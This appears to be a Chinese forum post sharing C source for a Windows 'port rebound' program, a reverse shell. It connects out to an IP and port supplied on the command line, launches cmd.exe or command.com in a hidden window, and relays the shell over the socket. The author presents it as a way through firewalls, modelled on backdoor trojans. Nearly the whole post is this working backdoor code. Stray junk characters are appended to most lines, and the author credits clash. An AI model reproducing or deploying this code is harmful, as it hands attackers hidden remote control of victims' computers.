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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .JCd:'-  
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/* ============================== \.ukZqB3 0  
Rebound port in Windows NT P^[eTR*?  
By wind,2006/7 Rax]svc  
===============================*/ 8]h~jNku  
#include O]_a$U*6  
#include w3Lr~_j  
B']-4X{SGa  
#pragma comment(lib,"wsock32.lib") Gb!R>WY  
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void OutputShell(); VO JA}$  
SOCKET sClient; {ooztC   
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6|uv+$  
Ef @  
void main(int argc,char **argv) 0\zY?UUww  
{ CiWz>HWH  
WSADATA stWsaData; _=Z?5{7S >  
int nRet; ~Y/:]&wF  
SOCKADDR_IN stSaiClient,stSaiServer; uwl_TDc>%  
ylm # Xa  
if(argc != 3) )E|{.K  
{ bog3=Ig-  
printf("Useage:\n\rRebound DestIP DestPort\n"); ,I6li7V  
return; S-'R84M,F  
} C19}Y4r:  
3iM7c.f*/  
WSAStartup(MAKEWORD(2,2),&stWsaData); -w"$[XP  
ui RO,B}z  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `L LS|S]  
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stSaiClient.sin_family = AF_INET; /q,vQ[ R/  
stSaiClient.sin_port = htons(0); o_8Wnx^  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); j"hNkCF  
nuH=pIq6x  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?;VsA>PV  
{ ]ur?i{S,  
printf("Bind Socket Failed!\n"); C(8VXtx_  
return; FI,K 0sO/|  
} %oB0@&!mS  
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stSaiServer.sin_family = AF_INET; cJerYRjsL  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); u*f`\vs  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 5S<Rz)1r  
jW]"Um-]  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) C$p012D1  
{ 0K'{w]Q  
printf("Connect Error!"); D]o=I1O?  
return; 0W0GSDx  
} eC"k-a8j+  
OutputShell(); mqHcD8X  
} o}DR p4;Ka  
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void OutputShell() SwsJ<Dq^z  
{  v%$l(  
char szBuff[1024]; R?zlZS.~  
SECURITY_ATTRIBUTES stSecurityAttributes; No"i6R+  
OSVERSIONINFO stOsversionInfo; tm/=Oc1p  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; : tBe/(e4#  
STARTUPINFO stStartupInfo; 4#{f8  
char *szShell; ^vxx]Hji  
PROCESS_INFORMATION stProcessInformation; MJh.)kd$  
unsigned long lBytesRead; t{>#)5Pqv  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); X{Fr  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); RP$h;0EQG  
stSecurityAttributes.lpSecurityDescriptor = 0; 8nn g^  
stSecurityAttributes.bInheritHandle = TRUE; -<g[P_#  
T;5VNRgpI  
"n]x%. *  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )u+O~Y95&i  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); TE;f*!  
^, YTQ.O  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #q K.AZi  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \?oT.z5VG&  
stStartupInfo.wShowWindow = SW_HIDE; yH=<KYk  
stStartupInfo.hStdInput = hReadPipe; qSlo)aP  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2<9K}Of  
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GetVersionEx(&stOsversionInfo); $3B%4#s  
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switch(stOsversionInfo.dwPlatformId) p6NPWaBR  
{ DLP@?]BBOA  
case 1: ?FNgJx*\S  
szShell = "command.com";  ZB |s/  
break; bl&9O  
default: Op8Gj  `  
szShell = "cmd.exe"; nBd]rak'  
break; f[D%(  
} xI<B)6D;f  
xOPQ~J|z  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); cuH5f}oc  
50dN~(;p  
send(sClient,szMsg,77,0); QVRQUd  
while(1) PY C  
{ (1q(6!  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); bDIhI}P  
if(lBytesRead) IJKdVb~   
{ /s%-c!o^  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); y`8U0TE3R  
send(sClient,szBuff,lBytesRead,0); w)* H&8h@  
} f+ZOE?"  
else L~e0^X?  
{ g]JRAM  
lBytesRead=recv(sClient,szBuff,1024,0); N%'(8%;  
if(lBytesRead<=0) break; ^!C  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);  6W  
} aCH;l~+U  
} 5D=U.UdR  
6T+ym9  
return; %).I &)i  
}
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